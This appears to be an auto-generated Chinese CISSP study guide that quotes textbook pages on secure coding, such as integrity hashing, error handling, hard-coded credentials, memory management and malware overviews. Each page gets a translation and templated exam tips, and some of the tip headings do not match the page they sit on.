先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

没有日志和身份绑定,就很难问责。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

审计题关注独立性、证据、范围和报告。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
可用性 可用性保证授权用户需要时能及时使用系统和数据。
审计 审计记录主体行为,用于追责、复盘和取证。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
审计 审计检查控制是否存在、是否有效、是否符合要求。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 53 / PDF P1447

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

professionals who want to ensure that software development includes automated auditing and logging of changes. By exposing code to all developers in an organization, code repositories promote code reuse. Developers seeking code to perform a particular function can search the repository for existing code and reuse it rather than start from ground zero. These code repositories may be publicly available, offering opensource code to the broader community, or they may be private repositories for use inside of an organization or team.

Code repositories also help avoid the problem of dead code, where code is in use in an organization but nobody is responsible for the maintenance of that code and, in fact, nobody may even know where the original source files reside. Integrity Measurement Code repositories are an important part of application security but are only one aspect of code management. Cybersecurity teams should also work hand in hand with developers and operations teams to ensure that applications are provisioned and deprovisioned in a secure manner through the organization's approved release management process. This process should include code integrity measurement.

Code integrity measurement uses cryptographic hash functions to verify that the code being released into production matches the code that was previously approved. Any deviation in hash values indicates that code was modified, either intentionally or unintentionally, and requires further investigation prior to release. Application Resilience When we design applications, we should create them in a manner that makes them resilient in the face of changing demand. We do this through the application of two related principles: Scalability says that applications should be designed so that computing resources they require may be incrementally added to support increasing demand.

This may include adding more resources to an existing computing instance, which is known as vertical scaling or “scaling up.” It may also include adding additional instances to a pool, which is known as horizontal scaling, or “scaling out.”

中文直译 / 整理

希望确保软件开发包含自动化审计和更改日志的专业人士。 通过向组织中的所有开发人员公开代码,代码仓库促进了代码复用。 寻求实现 特定功能代码的开发人员可以搜索仓库中的现有代码并加以复用,而不必从零 开始。 这些代码仓库可能是公开的,向更广泛的社区提供开源代码; 也可能是 私有的,仅供组织或团队内部使用。 代码仓库还有助于避免僵尸代码的问题,即代码在组织中正在使用,但无人负 责维护,甚至可能根本无人知道原始源文件的位置。 完整性测量 代码仓库是应用程序安全的重要组成部分,但只是代码管理的一个方面。 网络 安全团队应与开发人员和运维团队紧密协作,确保应用程序通过组织批准的发 布管理流程以安全的方式进行部署和撤销。 该流程应包括代码完整性测量。 代码完整性测量使用加密哈希函数来验证发布 到生产环境的代码是否与之前批准的代码一致。 任何哈希值的偏差都表明代码 已被修改(有意或无意),在发布前需要进一步调查。 应用弹性 在设计应用程序时,我们应以使其能够应对需求变化的方式构建它们。 我们通 过应用两个相关原则来实现这一点: 可扩展性指出,应用程序应设计为能够逐步增加计算资源以支持不断增长 的需求。

这可能包括为现有计算实例添加更多资源,这称为垂直扩展或 “向上扩展”。 也可能包括向资源池中添加额外的实例,这称为水平扩展, 或“向外扩展”。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

审计:审计记录主体行为,用于追责、复盘和取证。

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

没有日志和身份绑定,就很难问责。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

哈希本身不提供机密性;它主要用于完整性校验。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
审计 审计记录主体行为,用于追责、复盘和取证。
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
审计 审计检查控制是否存在、是否有效、是否符合要求。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 54 / PDF P1448

第 1448 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Elasticity goes a step further than scalability and says that applications should be able to automatically provision resources to scale when necessary and then automatically deprovision those resources to reduce capacity (and cost) when they are no longer needed. You can think of elasticity as the ability to scale both up and down on an as-needed basis. Scalability and elasticity are common features of cloud platforms and are a major driver toward the use of these platforms in enterprise computing environments.

Secure Coding Practices A multitude of development styles, languages, frameworks, and other variables may be involved in the creation of an application, but many of the security issues are the same regardless of which you use. In fact, despite many development frameworks and languages providing security features, the same security problems continue to appear in applications all the time. Fortunately, a number of common best practices are available that you can use to help ensure software security for your organization. Source Code Comments Comments are an important part of any good developer's workflow.

Placed strategically throughout code, they provide documentation of design choices, explain workflows, and offer details crucial to other developers who may later be called upon to modify or troubleshoot the code. When placed in the right hands, comments are crucial. However, comments can also provide attackers with a road map explaining how code works. In some cases, comments may even include critical security details that should remain secret. Developers should take steps to ensure that commented versions of their code remain secret. In the case of compiled executables, this is unnecessary, because the compiler automatically removes comments from executable files.

However, web applications that expose their code may allow remote users to view comments left in the code. In those environments, developers should remove comments from production versions of the code before deployment. It's fine to leave the comments in place for archived source code as a reference for future developers—just don't leave them accessible to unknown individuals on the Internet.

中文直译 / 整理

弹性在可扩展性的基础上更进一步,指出应用程序应能够在必要时自动调 配资源以进行扩展,并在不再需要时自动释放这些资源以减少容量(和成 本)。 你可以将弹性理解为根据需要自动向上和向下扩展的能力。 可扩展性和弹性是云平台的常见特性,也是推动这些平台在企业计算环境中 应用的主要因素。 安全编码实践 在应用程序的开发过程中,可能涉及多种开发风格、语言、框架和其他变量, 但无论使用哪种技术,许多安全问题都是相同的。 事实上,尽管许多开发框 架和语言提供了安全功能,但相同的安全问题仍不断出现在应用程序中。 幸 运的是,存在一些通用的最佳实践,您可以利用它们来帮助确保您组织的软 件安全。 源代码注释 注释是任何优秀开发人员工作流程的重要组成部分。 它们被有策略地放置在代 码各处,用于记录设计选择、解释工作流程,并为可能日后需要修改或排查代 码的其他开发人员提供关键细节。 当注释被正确使用时,它们至关重要。 然而,注释也可能为攻击者提供一份说明代码如何工作的路线图。 在某些情况 下,注释甚至可能包含应保持机密的关键安全细节。 开发人员应采取措施,确 保其代码的注释版本保持机密。

对于编译后的可执行文件而言,这是不必要的, 因为编译器会自动从可执行文件中移除注释。 然而,暴露源代码的网页应用可 能允许远程用户查看代码中留下的注释。 在这些环境中,开发人员应在部署前 从生产版本的代码中移除注释。 将注释保留在归档的源代码中作为未来开发者 的参考是可以的——但不要让它们对互联网上的未知人员可访问。

小白解释

场景先行:你是公司的安全负责人,正在读第 1448 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

程序:程序是一步一步怎么做。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1448 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
程序 程序是一步一步怎么做。
学习单元 55 / PDF P1449

第 1449 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Error Handling Attackers thrive on exploiting errors in code. Developers must recognize this and write their code so that it is resilient to unexpected situations that an attacker might create in order to test the boundaries of code. For example, if a web form requests an age as input, it's insufficient to simply verify that the age is an integer. Attackers might enter a 50,000-digit integer in that field in an attempt to perform an integer overflow attack. Developers must anticipate unexpected situations and write error handling code that steps in and handles these situations in a secure fashion. Improper error handling may expose code to unacceptable levels of risk.

Many programming languages include try…catch functionality that allows developers to explicitly specify how errors should be handled. In this approach, the developer writes code that may cause an error and includes it in a try clause. When the code executes, if it does cause an error, the catch clause specifies how the application should handle that error situation.

For example, consider the following Java code: int numerator = 10; int denominator = 0; try { int quotient = numerator/denominator; } catch (ArithmeticException err) { System.out.println("Division by zero!"); } In this code, the developer realizes that the line of code that divides numerator by denominator may result in a division by zero error if denominator is equal to 0. Therefore, the developer encloses that division in a try clause and provides error handling instructions in the subsequent catch clause.

中文直译 / 整理

错误处理 攻击者热衷于利用代码中的错误。 开发人员必须认识到这一点,并编写能够抵 御攻击者为测试代码边界而制造的意外情况的代码。 例如,如果网页表单要求 输入年龄,仅验证年龄是否为整数是不够的。 攻击者可能在该字段中输入一个 50,000位的整数,试图执行整数溢出攻击。 开发人员必须预见到意外情况,并 编写错误处理代码,以安全的方式应对这些情况。 不当的错误处理可能使代码 面临不可接受的风险。 许多编程语言都包含 try...catch 功能,允许开发人员明确指定如何处理错误。 在这种方法中,开发人员编写可能引发错误的代码,并将其放在 try 子句中。 当代码执行时,如果确实发生错误,catch 子句将指定应用程序应如何处理该 错误情况。 例如,考虑以下 Java 代码: int numerator = 10; int denominator = 0; try { int quotient = numerator/denominator; } catch (ArithmeticException err) { System.out.println("除零 错误!

"); } 在这段代码中,开发者意识到,将 numerator 除以 denominator 的代码行,如 果 denominator 等于 0,可能会导致除零错误。 因此,开发者将该除法操作置 于 try 子句中,并在随后的 catch 子句中提供了错误处理指令。

小白解释

场景先行:你是公司的安全负责人,正在读第 1449 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

程序:程序是一步一步怎么做。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1449 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
程序 程序是一步一步怎么做。
学习单元 56 / PDF P1450

第 1450 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

If you're wondering why you need to worry about error handling when you already perform input validation, remember that cybersecurity professionals embrace a defense-in-depth approach to security. For example, your input validation routine might itself contain a flaw that allows potentially malicious input to pass through to the application. Error handling serves as a secondary control in that case, preventing the malicious input from triggering a dangerous error condition. On the flip side of the error handling coin, overly verbose error handling routines may also present risk.

If error handling routines explain too much about the inner workings of code, they may allow an attacker to find a way to exploit the code. For example, Figure 21.9 shows an error message appearing on a French website that contains details of the SQL query used to create the web page. It also discloses that the database is running the MySQL database engine. You don't need to speak French to understand that this could allow an attacker to determine the table structure and attempt a SQL injection attack!

中文直译 / 整理

如果你疑惑为何在已经进行输入验证的情况下仍需关注错误处理,请记 住,网络安全专业人员采用纵深防御的安全策略。 例如,你的输入验证例程 本身可能包含缺陷,导致潜在的恶意输入得以传递到应用程序中。 在这种情 况下,错误处理作为第二道防线,防止恶意输入触发危险的错误状态。 另一方面,过于冗长的错误处理例程也可能带来风险。 如果错误处理例程过多 地揭示了代码的内部机制,可能会让攻击者找到利用代码的方法。 例如,图 21.9显示了一个法语网站上的错误消息,其中包含了用于生成网页的 SQL 查询 的详细信息,并且还透露了数据库正在运行 MySQL 数据库引擎。 你无需懂法 语就能明白,这可能让攻击者确定表结构并尝试 SQL 注入攻击!

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

纵深防御:纵深防御不是一道门,而是一层又一层控制。

程序:程序是一步一步怎么做。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1450 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

多层控制串联、避免单点失败,就是 defense in depth。

Step-by-step、SOP 常对应 procedure。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
纵深防御 纵深防御不是一道门,而是一层又一层控制。
程序 程序是一步一步怎么做。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 57 / PDF P1451

第 1451 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

本页 PDF 没有提取到对应文本,可能是图像、页眉或跨页内容。

中文直译 / 整理

本页 PDF 没有提取到对应文本,可能是图像、页眉或跨页内容。

小白解释

场景先行:你是公司的安全负责人,正在读第 1451 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1451 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 58 / PDF P1452

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

FIGURE 21.9 SQL error disclosure A good general guideline is for error messages to display the minimum amount of information necessary for the user to understand the nature of the problem, insofar as it is within their control to correct it. The application should then record as much information as possible in the application log so that developers investigating the error can correct the underlying issue. Hard-Coded Credentials In some cases, developers may include usernames and passwords in source code. There are two variations on this error.

First, the developer may create a hard-coded maintenance account for the application that allows the developer to regain access even if the authentication system fails. This is known as a backdoor vulnerability and is problematic because it allows anyone who knows the backdoor password to bypass normal authentication and gain access to the system. If the backdoor becomes publicly (or privately) known, all copies of the code in production are compromised. The second variation of hard-coding credentials occurs when developers include access credentials for other services within their source code.

If that code is intentionally or accidentally disclosed, those credentials then become known to outsiders. This occurs quite often when developers accidentally publish code into a public code repository, such as GitHub, that contains API keys or other hard-coded credentials. Memory Management Applications are often responsible for managing their own use of memory, and in those cases, poor memory management practices can undermine the security of the entire system. Resource Exhaustion One of the issues that we need to watch for with memory or any other limited resource on a system is resource exhaustion.

Whether intentional or accidental, systems may consume all of the memory, storage, processing time, or other resources available on the system, rendering it disabled or crippled for other uses. Memory leaks are one example of resource exhaustion. If an application requests memory from the operating system, it will eventually no longer need

中文直译 / 整理

图 21.9 SQL 错误披露 一个良好的通用原则是,错误消息应仅显示用户理解问题性质并尽可能在其控 制范围内纠正该问题所需的最少信息。 应用程序应在应用日志中记录尽可能多 的信息,以便开发人员在调查错误时能够修正根本问题。 硬编码的凭据 在某些情况下,开发人员可能会在源代码中包含用户名和密码。 这种错误有两 种变体。 首先,开发人员可能为应用程序创建一个硬编码的维护账户,以便在 身份验证系统失效时重新获得访问权限。 这被称为 后门 漏洞,问题在于任何知 道后门密码的人都可以绕过正常的身份验证并访问系统。 如果后门被公开(或 私下)知晓,则所有生产环境中的代码副本都会受到威胁。 硬编码凭据的第二种变体发生在开发人员在源代码中包含其他服务的访问凭据 时。 如果这些代码被有意或无意地泄露,这些凭据就会被外部人员知晓。 当开 发人员不小心将包含 API 密钥或其他硬编码凭据的代码发布到公共代码仓库 (如 GitHub)时,这种情况经常发生。 内存管理 应用程序通常负责管理其自身的内存使用,在这些情况下,不良的内存管理 实践可能会破坏整个系统的安全性。 资源耗尽 我们需要关注系统内存或其他任何有限资源的问题之一是 资源耗尽。

无论是有 意还是无意,系统都可能耗尽所有可用的内存、存储、处理时间或其他资源, 导致系统无法正常使用或功能严重受限。 内存泄漏是资源耗尽的一个例子。 如果应用程序从操作系统请求内存,最终将不再 需要

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

指南:指南是建议做法,不一定强制。

程序:程序是一步一步怎么做。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

Recommended、not compulsory 常对应 guideline。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
指南 指南是建议做法,不一定强制。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 59 / PDF P1453

政策、标准、程序、指南

高层原则、最低要求、操作步骤、建议做法要分清。

教材原文段落

that memory and should then return the memory to the operating system for other uses. In the case of an application with a memory leak, the application fails to return some memory that it no longer needs, perhaps by simply losing track of an object that it has written to a reserved area of memory. If the application continues to do this over a long period of time, it can slowly consume all of the memory available to the system, causing it to crash. Rebooting the system often resets the problem, returning the memory to other uses, but if the memory leak isn't corrected, the cycle simply begins anew. Pointer Dereferencing Memory pointers can also cause security issues.

Pointers are a commonly used concept in application development. They are an area of memory that stores an address of another location in memory. For example, we might have a pointer called photo that contains the address of a location in memory where a photo is stored. When an application needs to access the actual photo, it performs an operation called pointer dereferencing. This means that the application follows the pointer and accesses the memory referenced by the pointer address. There's nothing unusual with this process. Applications do it all the time. One particular issue that might arise is if the pointer is empty, containing what programmers call a NULL value.

If the application tries to dereference this NULL pointer, it causes a condition known as a null pointer exception. In the best case, a NULL pointer exception causes the program to crash, providing an attacker with access to debugging information that may be used for reconnaissance of the application's security. In the worst case, a NULL pointer exception may allow an attacker to bypass security controls. Security professionals should work with application developers to help them avoid these issues. Summary Applications developers have a lot to worry about. Malicious actors are always becoming more sophisticated in their tools and techniques.

Viruses, worms, Trojan horses, logic bombs, and other malicious code exploit vulnerabilities in applications and operating systems or use social engineering to infect systems and gain access to their resources and confidential information.

中文直译 / 整理

这些内存,并应将其归还给操作系统以供其他用途使用。 对于存在内存泄漏的 应用程序,它未能归还一些不再需要的内存,可能是由于简单地丢失了对已写 入预留内存区域的对象的跟踪。 如果应用程序在长时间内持续这样做,它会逐 渐消耗系统可用的所有内存,导致系统崩溃。 重启系统通常可以重置问题,将 内存归还给其他用途,但如果内存泄漏未被修复,这一循环将重新开始。 指针解引用 内存指针也可能导致安全问题。 指针是应用程序开发中常用的概念,它们是 存储内存中另一位置地址的内存区域。 例如,我们可能有一个名为 photo 的指针,其中包含存储照片的内存位置的 地址。 当应用程序需要访问实际的照片时,它会执行一种称为 指针解引用 的 操作。 这意味着应用程序会跟随指针并访问由指针地址引用的内存。 这个过 程本身并无异常,应用程序经常执行此类操作。 可能出现的一个特定问题是,指针为空,包含程序员所称的 NULL 值。 如果应 用程序尝试解引用此 NULL 指针,就会导致一种称为空指针异常的情况。 在最 好的情况下,空指针异常会导致程序崩溃,使攻击者能够获取可用于侦察应用 程序安全性的调试信息;

在最坏的情况下,空指针异常可能允许攻击者绕过安 全控制。 安全专业人员应与应用程序开发人员合作,帮助他们避免这些问题。 摘要 应用程序开发人员需要担心的事情很多。 恶意行为者不断使其工具和技术变得 更加复杂。 病毒、蠕虫、木马、逻辑炸弹和其他恶意代码利用应用程序和操作 系统中的漏洞,或通过社会工程学手段感染系统,以获取其资源和机密信息。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:高层原则、最低要求、操作步骤、建议做法要分清。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

程序:程序是一步一步怎么做。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

日志:日志记录系统和用户活动,用于监控、审计和调查。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“政策、标准、程序、指南”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

日志要保护完整性、时间同步和访问控制。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 60 / PDF P1454

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

Ransomware combines malware with encryption technology to deny users access to their data until they pay a substantial ransom. Applications themselves also may contain a number of vulnerabilities. Buffer overflow attacks exploit code that lacks proper input validation to affect the contents of a system's memory. Backdoors provide former developers and malicious code authors with the ability to bypass normal authentication mechanisms. Rootkits provide attackers with an easy way to conduct privilege escalation attacks. Many applications are moving to the web, creating a new level of exposure and vulnerability.

Cross-site scripting attacks allow attackers to trick users into providing sensitive information to insecure sites. SQL injection attacks allow the bypassing of application controls to directly access and manipulate the underlying database. Study Essentials Understand the propagation techniques used by viruses. Viruses use four main propagation techniques—file infection, service injection, boot sector infection, and macro infection—to penetrate systems and spread their malicious payloads. You need to understand these techniques to effectively protect systems on your network from malicious code. Explain the threat posed by ransomware.

Ransomware uses traditional malware techniques to infect a system and then encrypts data on that system using a key known only to the attacker. The attacker then demands payment of a ransom from the victim in exchange for providing the decryption key. Know how antivirus software packages detect known viruses. Most antivirus programs use signature-based detection algorithms to look for telltale patterns of known viruses. This makes it essential to periodically update virus definition files in order to maintain protection against newly authored viruses as they emerge.

Behavior-based detection monitors target users and systems for unusual activity and either blocks it or flags it for investigation. Explain how user and entity behavior analytics (UEBA) functions. UEBA tools develop profiles of individual behavior and then monitor users for deviations from those profiles that may indicate malicious activity and/or compromised accounts.

中文直译 / 整理

勒索软件将恶意软件与加密技术结合,直到用户支付巨额赎金后才允许其访问 数据。 应用程序本身也可能包含许多漏洞。 缓冲区溢出攻击利用缺乏适当输入验证的 代码来影响系统内存的内容。 后门为前开发人员和恶意代码作者提供了绕过正 常身份验证机制的能力。 根套件为攻击者提供了轻松实施权限提升攻击的途径。 许多应用程序正转向网络,这带来了新的暴露和脆弱性层面。 跨站脚本攻击允 许攻击者诱骗用户向不安全的网站提供敏感信息。 SQL注入攻击允许绕过应用 程序控制,直接访问和操作底层数据库。 学习要点 了解病毒使用的传播技术。 病毒使用四种主要的传播技术——文件感染、服务 注入、引导扇区感染和宏感染——来渗透系统并传播其恶意有效载荷。 您需要 了解这些技术,以便有效保护网络上的系统免受恶意代码的侵害。 解释勒索软件构成的威胁。 勒索软件使用 传统恶意软件技术感染系统,然后使用仅攻击者知晓的密钥加密该系统上的数 据。 攻击者随后要求受害者支付赎金,以换取提供解密密钥。 了解杀毒软件包如何检测已知病毒。 大多数杀毒程序使用基于签名的检测算法来 查找已知病毒的典型特征模式。 因此,必须定期更新病毒定义文件,以应对新出 现的病毒并保持防护能力。

基于行为的检测会监控目标用户和系统是否存在异常 活动,并阻止此类活动或将其标记以供调查。 Explain how user and entit y behavior anal ytics (UEBA) 功能。 UEBA工具会建立个人行为的画像,然后监控用户是否偏离这些画像,以发现 可能表明恶意活动和/或账户被入侵的行为。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

身份管理题要区分识别、认证、授权、审计。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
身份 身份是主体在系统中的标识。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 61 / PDF P1455

